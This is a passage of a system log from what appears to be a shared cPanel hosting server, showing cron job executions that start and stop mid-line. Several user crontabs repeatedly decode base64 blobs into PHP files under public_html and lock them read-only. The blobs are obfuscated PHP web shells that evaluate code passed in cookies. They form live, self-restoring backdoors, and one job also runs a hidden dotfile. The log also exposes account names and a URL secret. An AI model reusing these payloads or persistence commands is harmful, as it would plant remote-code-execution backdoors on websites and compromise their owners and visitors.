cm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:50:01 medusa CROND[28793]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:50:01 medusa CROND[28791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:50:01 medusa CROND[28778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:50:01 medusa CROND[28802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 05:50:01 medusa CROND[28782]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28795]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28790]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 05:50:01 medusa CROND[28836]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:51:01 medusa CROND[16548]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:51:01 medusa CROND[16689]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:51:01 medusa CROND[16693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:51:01 medusa CROND[16691]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:51:01 medusa CROND[16694]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:51:01 medusa CROND[16695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:51:01 medusa CROND[16696]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:51:01 medusa CROND[16697]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:51:01 medusa CROND[16700]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:51:01 medusa CROND[16705]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:51:01 medusa CROND[16708]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:51:01 medusa CROND[16709]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:51:01 medusa CROND[16710]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:51:01 medusa CROND[16717]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:51:01 medusa CROND[16706]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:52:01 medusa CROND[710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:52:01 medusa CROND[750]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:52:01 medusa CROND[751]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:52:01 medusa CROND[752]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:52:01 medusa CROND[753]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:52:01 medusa CROND[754]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:52:01 medusa CROND[757]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:52:01 medusa CROND[758]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:52:01 medusa CROND[759]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:52:01 medusa CROND[761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:52:01 medusa CROND[771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:52:01 medusa CROND[773]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:52:01 medusa CROND[776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6Om